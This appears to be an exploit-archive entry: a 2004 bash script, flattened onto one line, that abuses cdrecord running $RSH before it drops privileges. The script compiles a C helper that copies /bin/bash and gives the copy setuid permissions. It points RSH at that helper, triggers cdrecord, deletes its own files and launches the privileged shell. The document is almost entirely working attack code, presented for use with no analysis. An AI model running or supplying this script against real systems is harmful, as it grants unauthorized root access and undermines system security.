cdrecord $RSH exec() SUID Shell Creation

#!/bin/bash # # cdrecord-suidshell.sh - I)ruid [CAU] (09.2004) # # Exploits cdrecord\'s exec() of $RSH before dropping privs # cat > ./cpbinbash.c << __EOF__ #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> main( int argc, char *argv[] ) { int fd1, fd2; int count; char buffer[1]; /* Set ID\'s */ setuid( geteuid() ); setgid( geteuid() ); /* Copy the shell */ if ((fd1=open( \"/bin/bash\", O_RDONLY))<0) return -1; if ((fd2=open( \"./bash\", O_WRONLY|O_CREAT))<0) return -1; while((count=read(fd1, buffer, 1))) write(fd2, buffer, count); free(buffer); close( fd1 ); close( fd2 ); /* Priv the shell */ chown( \"./bash\", geteuid(), geteuid() ); chmod( \"./bash\", 3565 ); } __EOF__ cc ./cpbinbash.c -o ./cpbinbash # Set up environment export RSHSAVE=$RSH export RSH=./cpbinbash # Sploit cdrecord dev= REMOTE:CAU:1,0,0 - # Cleanup rm cpbinbash* export RSH=$RSHSAVE export RSHSAVE= # Use our suid bash ./bash -p